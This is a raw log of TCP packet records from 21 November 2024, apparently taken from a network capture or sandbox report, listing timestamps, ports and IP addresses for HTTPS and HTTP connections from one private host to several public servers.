Nov 21, 2024 22:09:22.669217110 CET	443	49732	52.149.20.212	192.168.2.4
Nov 21, 2024 22:09:22.669322014 CET	443	49732	52.149.20.212	192.168.2.4
Nov 21, 2024 22:09:22.669393063 CET	49732	443	192.168.2.4	52.149.20.212
Nov 21, 2024 22:09:24.011174917 CET	49744	443	192.168.2.4	142.250.181.100
Nov 21, 2024 22:09:24.011284113 CET	443	49744	142.250.181.100	192.168.2.4
Nov 21, 2024 22:09:24.011367083 CET	49744	443	192.168.2.4	142.250.181.100
Nov 21, 2024 22:09:24.011596918 CET	49744	443	192.168.2.4	142.250.181.100
Nov 21, 2024 22:09:24.011621952 CET	443	49744	142.250.181.100	192.168.2.4
Nov 21, 2024 22:09:24.210735083 CET	49732	443	192.168.2.4	52.149.20.212
Nov 21, 2024 22:09:24.210736036 CET	49732	443	192.168.2.4	52.149.20.212
Nov 21, 2024 22:09:24.210819006 CET	443	49732	52.149.20.212	192.168.2.4
Nov 21, 2024 22:09:24.210851908 CET	443	49732	52.149.20.212	192.168.2.4
Nov 21, 2024 22:09:24.892692089 CET	49746	443	192.168.2.4	142.250.181.100
Nov 21, 2024 22:09:24.892791033 CET	443	49746	142.250.181.100	192.168.2.4
Nov 21, 2024 22:09:24.892873049 CET	49746	443	192.168.2.4	142.250.181.100
Nov 21, 2024 22:09:24.893059015 CET	49746	443	192.168.2.4	142.250.181.100
Nov 21, 2024 22:09:24.893080950 CET	443	49746	142.250.181.100	192.168.2.4
Nov 21, 2024 22:09:25.030420065 CET	49747	443	192.168.2.4	142.250.181.100
Nov 21, 2024 22:09:25.030462980 CET	443	49747	142.250.181.100	192.168.2.4
Nov 21, 2024 22:09:25.031217098 CET	49747	443	192.168.2.4	142.250.181.100
Nov 21, 2024 22:09:25.031434059 CET	49747	443	192.168.2.4	142.250.181.100
Nov 21, 2024 22:09:25.031446934 CET	443	49747	142.250.181.100	192.168.2.4
Nov 21, 2024 22:09:25.177848101 CET	49748	443	192.168.2.4	142.250.181.100
Nov 21, 2024 22:09:25.177908897 CET	443	49748	142.250.181.100	192.168.2.4
Nov 21, 2024 22:09:25.177999973 CET	49748	443	192.168.2.4	142.250.181.100
Nov 21, 2024 22:09:25.178205013 CET	49748	443	192.168.2.4	142.250.181.100
Nov 21, 2024 22:09:25.178221941 CET	443	49748	142.250.181.100	192.168.2.4
Nov 21, 2024 22:09:25.474678040 CET	49723	80	192.168.2.4	199.232.214.172
Nov 21, 2024 22:09:25.594491005 CET	80	49723	199.232.214.172	192.168.2.4
Nov 21, 2024 22:09:25.594614983 CET	49723	80	192.168.2.4	199.232.214.172
Nov 21, 2024 22:09:25.779331923 CET	443	49744	142.250.181.100	192.168.2.4
Nov 21, 2024 22:09:25.779674053 CET	49744	443	192.168.2.4	142.250.181.100
Nov 21, 2024 22:09:25.779692888 CET	443	49744	142.250.181.100	192.168.2.4
Nov 21, 2024 22:09:25.781094074 CET	443	49744	142.250.181.100	192.168.2.4
Nov 21, 2024 22:09:25.781153917 CET	49744	443	192.168.2.4	142.250.181.100
Nov 21, 2024 22:09:26.635654926 CET	443	49746	142.250.181.100	192.168.2.4
Nov 21, 2024 22:09:26.635916948 CET	49746	443	192.168.2.4	142.250.181.100
Nov 21, 2024 22:09:26.635972023 CET	443	49746	142.250.181.100	192.168.2.4
Nov 21, 2024 22:09:26.638637066 CET	443	49746	142.250.181.100	192.168.2.4
Nov 21, 2024 22:09:26.638710022 CET	49746	443	192.168.2.4	142.250.181.100
Nov 21, 2024 22:09:26.762073994 CET	49752	443	192.168.2.4	23.218.208.109
Nov 21, 2024 22:09:26.762124062 CET	443	49752	23.218.208.109	192.168.2.4
Nov 21, 2024 22:09:26.763851881 CET	49752	443	192.168.2.4	23.218.208.109
Nov 21, 2024 22:09:26.765729904 CET	49752	443	192.168.2.4	23.218.208.109
Nov 21, 2024 22:09:26.765748024 CET	443	49752	23.218.208.109	192.168.2.4
Nov 21, 2024 22:09:26.815959930 CET	443	49747	142.250.181.100	192.168.2.4
Nov 21, 2024 22:09:26.818886042 CET	49747	443	192.168.2.4	142.250.181.100
Nov 21, 2024 22:09:26.818907022 CET	443	49747	142.250.181.100	192.168.2.4
Nov 21, 2024 22:09:26.820389032 CET	443	49747	142.250.181.100	192.168.2.4
Nov 21, 2024 22:09:26.820452929 CET	49747	443	192.168.2.4	142.250.181.100
Nov 21, 2024 22:09:26.919089079 CET	443	49748	142.250.181.100	192.168.2.4
Nov 21, 2024 22:09:26.919367075 CET	49748	443	192.168.2.4	142.250.181.100
Nov 21, 2024 22:09:26.919433117 CET	443	49748	142.250.181.100	192.168.2.4
Nov 21, 2024 22:09:26.923109055 CET	443	49748	142.250.181.100	192.168.2.4
Nov 21, 2024 22:09:26.923190117 CET	49748	443	192.168.2.4	142.250.181.100
Nov 21, 2024 22:09:28.738506079 CET	443	49752	23.218.208.109	192.168.2.4
Nov 21, 2024 22:09:28.738590956 CET	49752	443	192.168.2.4	23.218.208.109
Nov 21, 2024 22:09:29.024888039 CET	49752	443	192.168.2.4	23.218.208.109
Nov 21, 2024 22:09:29.024961948 CET	443	49752	23.218.208.109	192.168.2.4
Nov 21, 2024 22:09:29.026029110 CET	443	49752	23.218.208.109	192.168.2.4
Nov 21, 2024 22:09:29.157183886 CET	49752	443	192.168.2.4	23.218.208.109
Nov 21, 2024 22:09:29.739016056 CET	49752	443	192.168.2.4	23.218.208.109
Nov 21, 2024 22:09:29.779380083 CET	443	49752	23.218.208.109	192.168.2.4
Nov 21, 2024 22:09:29.780056953 CET	49761	443	192.168.2.4	149.154.167.220
Nov 21, 2024 22:09:29.780122995 CET	443	49761	149.154.167.220	192.168.2.4
Nov 21, 2024 22:09:29.780215979 CET	49761	443	192.168.2.4	149.154.167.220
Nov 21, 2024 22:09:29.785218954 CET	49761	443	192.168.2.4	149.154.167.220
Nov 21, 2024 22:09:29.785253048 CET	443	49761	149.154.167.220	192.168.2.4
Nov 21, 2024 22:09:30.017682076 CET	49762	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:09:30.017765045 CET	443	49762	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:30.017891884 CET	49762	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:09:30.018244028 CET	49762	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:09:30.018279076 CET	443	49762	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:30.173372984 CET	443	49752	23.218.208.109	192.168.2.4
Nov 21, 2024 22:09:30.173468113 CET	443	49752	23.218.208.109	192.168.2.4
Nov 21, 2024 22:09:30.173686028 CET	49752	443	192.168.2.4	23.218.208.109
Nov 21, 2024 22:09:30.192554951 CET	49752	443	192.168.2.4	23.218.208.109
Nov 21, 2024 22:09:30.192554951 CET	49752	443	192.168.2.4	23.218.208.109
Nov 21, 2024 22:09:30.192645073 CET	443	49752	23.218.208.109	192.168.2.4
Nov 21, 2024 22:09:30.192678928 CET	443	49752	23.218.208.109	192.168.2.4
Nov 21, 2024 22:09:30.490206957 CET	49763	443	192.168.2.4	23.218.208.109
Nov 21, 2024 22:09:30.490282059 CET	443	49763	23.218.208.109	192.168.2.4
Nov 21, 2024 22:09:30.490348101 CET	49763	443	192.168.2.4	23.218.208.109
Nov 21, 2024 22:09:30.490642071 CET	49763	443	192.168.2.4	23.218.208.109
Nov 21, 2024 22:09:30.490658998 CET	443	49763	23.218.208.109	192.168.2.4
Nov 21, 2024 22:09:31.262887001 CET	443	49761	149.154.167.220	192.168.2.4
Nov 21, 2024 22:09:31.263401031 CET	49761	443	192.168.2.4	149.154.167.220
Nov 21, 2024 22:09:31.263463020 CET	443	49761	149.154.167.220	192.168.2.4
Nov 21, 2024 22:09:31.265074015 CET	443	49761	149.154.167.220	192.168.2.4
Nov 21, 2024 22:09:31.265146017 CET	49761	443	192.168.2.4	149.154.167.220
Nov 21, 2024 22:09:31.266493082 CET	49761	443	192.168.2.4	149.154.167.220
Nov 21, 2024 22:09:31.266705990 CET	443	49761	149.154.167.220	192.168.2.4
Nov 21, 2024 22:09:31.266709089 CET	49761	443	192.168.2.4	149.154.167.220
Nov 21, 2024 22:09:31.266755104 CET	49761	443	192.168.2.4	149.154.167.220
Nov 21, 2024 22:09:31.270385027 CET	49764	443	192.168.2.4	149.154.167.220
Nov 21, 2024 22:09:31.270474911 CET	443	49764	149.154.167.220	192.168.2.4
Nov 21, 2024 22:09:31.270560980 CET	49764	443	192.168.2.4	149.154.167.220
Nov 21, 2024 22:09:31.270962000 CET	49764	443	192.168.2.4	149.154.167.220
Nov 21, 2024 22:09:31.270994902 CET	443	49764	149.154.167.220	192.168.2.4
Nov 21, 2024 22:09:31.918404102 CET	443	49763	23.218.208.109	192.168.2.4
Nov 21, 2024 22:09:31.918498039 CET	49763	443	192.168.2.4	23.218.208.109
Nov 21, 2024 22:09:31.925153971 CET	49763	443	192.168.2.4	23.218.208.109
Nov 21, 2024 22:09:31.925193071 CET	443	49763	23.218.208.109	192.168.2.4
Nov 21, 2024 22:09:31.925575972 CET	443	49763	23.218.208.109	192.168.2.4
Nov 21, 2024 22:09:31.929893017 CET	49763	443	192.168.2.4	23.218.208.109
Nov 21, 2024 22:09:31.971384048 CET	443	49763	23.218.208.109	192.168.2.4
Nov 21, 2024 22:09:32.005415916 CET	443	49762	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:32.005489111 CET	49762	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:09:32.060707092 CET	49762	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:09:32.060777903 CET	443	49762	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:32.061753988 CET	443	49762	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:32.062546968 CET	49762	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:09:32.062625885 CET	49762	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:09:32.062731981 CET	443	49762	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:32.456440926 CET	443	49763	23.218.208.109	192.168.2.4
Nov 21, 2024 22:09:32.456533909 CET	443	49763	23.218.208.109	192.168.2.4
Nov 21, 2024 22:09:32.456604958 CET	49763	443	192.168.2.4	23.218.208.109
Nov 21, 2024 22:09:32.457295895 CET	49763	443	192.168.2.4	23.218.208.109
Nov 21, 2024 22:09:32.457320929 CET	443	49763	23.218.208.109	192.168.2.4
Nov 21, 2024 22:09:32.457335949 CET	49763	443	192.168.2.4	23.218.208.109
Nov 21, 2024 22:09:32.457344055 CET	443	49763	23.218.208.109	192.168.2.4
Nov 21, 2024 22:09:32.540514946 CET	49771	443	192.168.2.4	142.250.181.65
Nov 21, 2024 22:09:32.540575027 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:32.541084051 CET	49771	443	192.168.2.4	142.250.181.65
Nov 21, 2024 22:09:32.545223951 CET	49771	443	192.168.2.4	142.250.181.65
Nov 21, 2024 22:09:32.545241117 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:32.644658089 CET	443	49764	149.154.167.220	192.168.2.4
Nov 21, 2024 22:09:32.645405054 CET	49764	443	192.168.2.4	149.154.167.220
Nov 21, 2024 22:09:32.645473957 CET	443	49764	149.154.167.220	192.168.2.4
Nov 21, 2024 22:09:32.649099112 CET	443	49764	149.154.167.220	192.168.2.4
Nov 21, 2024 22:09:32.649193048 CET	49764	443	192.168.2.4	149.154.167.220
Nov 21, 2024 22:09:32.650791883 CET	49764	443	192.168.2.4	149.154.167.220
Nov 21, 2024 22:09:32.650916100 CET	49764	443	192.168.2.4	149.154.167.220
Nov 21, 2024 22:09:32.655327082 CET	49772	443	192.168.2.4	149.154.167.220
Nov 21, 2024 22:09:32.655366898 CET	443	49772	149.154.167.220	192.168.2.4
Nov 21, 2024 22:09:32.655518055 CET	49772	443	192.168.2.4	149.154.167.220
Nov 21, 2024 22:09:32.656043053 CET	49772	443	192.168.2.4	149.154.167.220
Nov 21, 2024 22:09:32.656055927 CET	443	49772	149.154.167.220	192.168.2.4
Nov 21, 2024 22:09:32.735577106 CET	443	49762	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:32.735672951 CET	443	49762	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:32.735887051 CET	49762	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:09:32.803345919 CET	49762	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:09:32.803378105 CET	443	49762	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:32.803395987 CET	49762	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:09:32.803405046 CET	443	49762	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:33.172055006 CET	49775	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:09:33.172099113 CET	443	49775	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:33.172221899 CET	49775	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:09:33.172583103 CET	49775	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:09:33.172593117 CET	443	49775	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:33.608525038 CET	49780	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:33.608542919 CET	443	49780	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:33.608936071 CET	49780	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:33.609688997 CET	49780	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:33.609698057 CET	443	49780	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:33.609954119 CET	49781	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:33.609980106 CET	443	49781	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:33.610032082 CET	49781	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:33.610378981 CET	49781	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:33.610387087 CET	443	49781	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:33.696715117 CET	49782	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:33.696737051 CET	443	49782	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:33.696944952 CET	49782	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:33.697582006 CET	49782	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:33.697594881 CET	443	49782	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:34.023361921 CET	443	49772	149.154.167.220	192.168.2.4
Nov 21, 2024 22:09:34.023792982 CET	49772	443	192.168.2.4	149.154.167.220
Nov 21, 2024 22:09:34.023808002 CET	443	49772	149.154.167.220	192.168.2.4
Nov 21, 2024 22:09:34.028352976 CET	443	49772	149.154.167.220	192.168.2.4
Nov 21, 2024 22:09:34.028464079 CET	49772	443	192.168.2.4	149.154.167.220
Nov 21, 2024 22:09:34.029860020 CET	49772	443	192.168.2.4	149.154.167.220
Nov 21, 2024 22:09:34.030009031 CET	49772	443	192.168.2.4	149.154.167.220
Nov 21, 2024 22:09:34.032310963 CET	49783	443	192.168.2.4	149.154.167.220
Nov 21, 2024 22:09:34.032350063 CET	443	49783	149.154.167.220	192.168.2.4
Nov 21, 2024 22:09:34.032435894 CET	49783	443	192.168.2.4	149.154.167.220
Nov 21, 2024 22:09:34.032740116 CET	49783	443	192.168.2.4	149.154.167.220
Nov 21, 2024 22:09:34.032756090 CET	443	49783	149.154.167.220	192.168.2.4
Nov 21, 2024 22:09:34.282355070 CET	49784	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:34.282392979 CET	443	49784	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:34.282460928 CET	49784	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:34.282607079 CET	49784	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:34.282618999 CET	443	49784	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:34.287931919 CET	49785	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:34.288012981 CET	443	49785	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:34.288271904 CET	49785	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:34.288417101 CET	49785	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:34.288445950 CET	443	49785	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:34.434355021 CET	49786	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:34.434386015 CET	443	49786	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:34.434601068 CET	49786	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:34.434824944 CET	49786	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:34.434835911 CET	443	49786	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:34.492137909 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:34.492402077 CET	49771	443	192.168.2.4	142.250.181.65
Nov 21, 2024 22:09:34.492464066 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:34.493195057 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:34.493221998 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:34.493285894 CET	49771	443	192.168.2.4	142.250.181.65
Nov 21, 2024 22:09:34.493308067 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:34.493360043 CET	49771	443	192.168.2.4	142.250.181.65
Nov 21, 2024 22:09:34.493381023 CET	49771	443	192.168.2.4	142.250.181.65
Nov 21, 2024 22:09:34.494219065 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:34.495512009 CET	49771	443	192.168.2.4	142.250.181.65
Nov 21, 2024 22:09:34.495608091 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:34.495678902 CET	49771	443	192.168.2.4	142.250.181.65
Nov 21, 2024 22:09:34.539350986 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:34.663398981 CET	49771	443	192.168.2.4	142.250.181.65
Nov 21, 2024 22:09:34.663430929 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:34.830977917 CET	443	49780	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:34.831290960 CET	49780	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:34.831300020 CET	443	49780	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:34.832339048 CET	443	49780	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:34.832396984 CET	49780	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:34.833560944 CET	49780	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:34.833652973 CET	443	49780	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:34.833718061 CET	49780	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:34.858772993 CET	49771	443	192.168.2.4	142.250.181.65
Nov 21, 2024 22:09:34.867055893 CET	443	49781	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:34.867224932 CET	49781	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:34.867243052 CET	443	49781	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:34.868319988 CET	443	49781	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:34.868367910 CET	49781	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:34.869648933 CET	49781	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:34.869730949 CET	443	49781	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:34.869822979 CET	49781	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:34.869829893 CET	443	49781	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:34.875361919 CET	443	49780	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:34.910424948 CET	443	49782	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:34.910609007 CET	49782	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:34.910618067 CET	443	49782	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:34.914171934 CET	443	49782	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:34.914232016 CET	49782	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:34.914906979 CET	49782	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:34.915009975 CET	49782	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:34.915081978 CET	443	49782	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:34.964909077 CET	49780	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:34.964916945 CET	443	49780	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:35.012816906 CET	49782	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:35.012815952 CET	49781	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:35.012824059 CET	443	49782	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:35.070024014 CET	443	49775	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:35.070485115 CET	49775	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:09:35.070501089 CET	443	49775	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:35.071060896 CET	49775	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:09:35.071065903 CET	443	49775	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:35.071105003 CET	49775	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:09:35.071114063 CET	443	49775	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:35.104319096 CET	49796	443	192.168.2.4	18.165.220.106
Nov 21, 2024 22:09:35.104363918 CET	443	49796	18.165.220.106	192.168.2.4
Nov 21, 2024 22:09:35.104710102 CET	49796	443	192.168.2.4	18.165.220.106
Nov 21, 2024 22:09:35.106498003 CET	49796	443	192.168.2.4	18.165.220.106
Nov 21, 2024 22:09:35.106518984 CET	443	49796	18.165.220.106	192.168.2.4
Nov 21, 2024 22:09:35.128897905 CET	49782	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:35.160350084 CET	49780	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:35.181231976 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.185039997 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.185116053 CET	49771	443	192.168.2.4	142.250.181.65
Nov 21, 2024 22:09:35.185139894 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.196603060 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.196665049 CET	49771	443	192.168.2.4	142.250.181.65
Nov 21, 2024 22:09:35.196681023 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.206294060 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.206345081 CET	49771	443	192.168.2.4	142.250.181.65
Nov 21, 2024 22:09:35.206361055 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.219218016 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.219276905 CET	49771	443	192.168.2.4	142.250.181.65
Nov 21, 2024 22:09:35.219290972 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.232925892 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.232995033 CET	49771	443	192.168.2.4	142.250.181.65
Nov 21, 2024 22:09:35.233009100 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.246567965 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.246624947 CET	49771	443	192.168.2.4	142.250.181.65
Nov 21, 2024 22:09:35.246640921 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.261806011 CET	443	49780	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:35.261869907 CET	443	49780	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:35.262049913 CET	49780	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:35.262326956 CET	49780	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:35.262336969 CET	443	49780	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:35.304919004 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.304991961 CET	49771	443	192.168.2.4	142.250.181.65
Nov 21, 2024 22:09:35.305016041 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.313260078 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.313323021 CET	49771	443	192.168.2.4	142.250.181.65
Nov 21, 2024 22:09:35.313340902 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.316332102 CET	443	49781	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:35.316390038 CET	443	49781	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:35.316447020 CET	49781	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:35.316627026 CET	49781	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:35.316644907 CET	443	49781	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:35.334764957 CET	49799	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:35.334804058 CET	443	49799	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:35.334867001 CET	49799	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:35.335161924 CET	49800	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:35.335191011 CET	443	49800	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:35.335241079 CET	49800	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:35.335679054 CET	49799	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:35.335704088 CET	443	49799	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:35.335832119 CET	49800	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:35.335844040 CET	443	49800	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:35.336376905 CET	49801	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:35.336400032 CET	443	49801	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:35.336467981 CET	49801	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:35.336563110 CET	49802	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:35.336570978 CET	443	49802	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:35.336617947 CET	49802	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:35.337193966 CET	49801	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:35.337204933 CET	443	49801	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:35.337343931 CET	49802	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:35.337354898 CET	443	49802	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:35.345652103 CET	443	49782	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:35.345808983 CET	443	49782	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:35.345886946 CET	49782	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:35.345951080 CET	49782	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:35.345957041 CET	443	49782	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:35.364686966 CET	49771	443	192.168.2.4	142.250.181.65
Nov 21, 2024 22:09:35.382133961 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.385776043 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.388173103 CET	49771	443	192.168.2.4	142.250.181.65
Nov 21, 2024 22:09:35.388191938 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.395382881 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.395452023 CET	49771	443	192.168.2.4	142.250.181.65
Nov 21, 2024 22:09:35.395466089 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.402285099 CET	443	49783	149.154.167.220	192.168.2.4
Nov 21, 2024 22:09:35.402689934 CET	49783	443	192.168.2.4	149.154.167.220
Nov 21, 2024 22:09:35.402702093 CET	443	49783	149.154.167.220	192.168.2.4
Nov 21, 2024 22:09:35.403815031 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.403954983 CET	49771	443	192.168.2.4	142.250.181.65
Nov 21, 2024 22:09:35.403970003 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.406307936 CET	443	49783	149.154.167.220	192.168.2.4
Nov 21, 2024 22:09:35.406368017 CET	49783	443	192.168.2.4	149.154.167.220
Nov 21, 2024 22:09:35.407335997 CET	49783	443	192.168.2.4	149.154.167.220
Nov 21, 2024 22:09:35.407681942 CET	49783	443	192.168.2.4	149.154.167.220
Nov 21, 2024 22:09:35.410259008 CET	49803	443	192.168.2.4	149.154.167.220
Nov 21, 2024 22:09:35.410296917 CET	443	49803	149.154.167.220	192.168.2.4
Nov 21, 2024 22:09:35.410417080 CET	49803	443	192.168.2.4	149.154.167.220
Nov 21, 2024 22:09:35.410845041 CET	49803	443	192.168.2.4	149.154.167.220
Nov 21, 2024 22:09:35.410856009 CET	443	49803	149.154.167.220	192.168.2.4
Nov 21, 2024 22:09:35.416325092 CET	443	49771	142.250.181.65	192.168.2.4
Nov 21, 2024 22:09:35.416388988 CET	49771	443	192.168.2.4	142.250.181.65
Nov 21, 2024 22:09:35.416404009 CET	443	49771	142.250.181.65	192.168.2.4
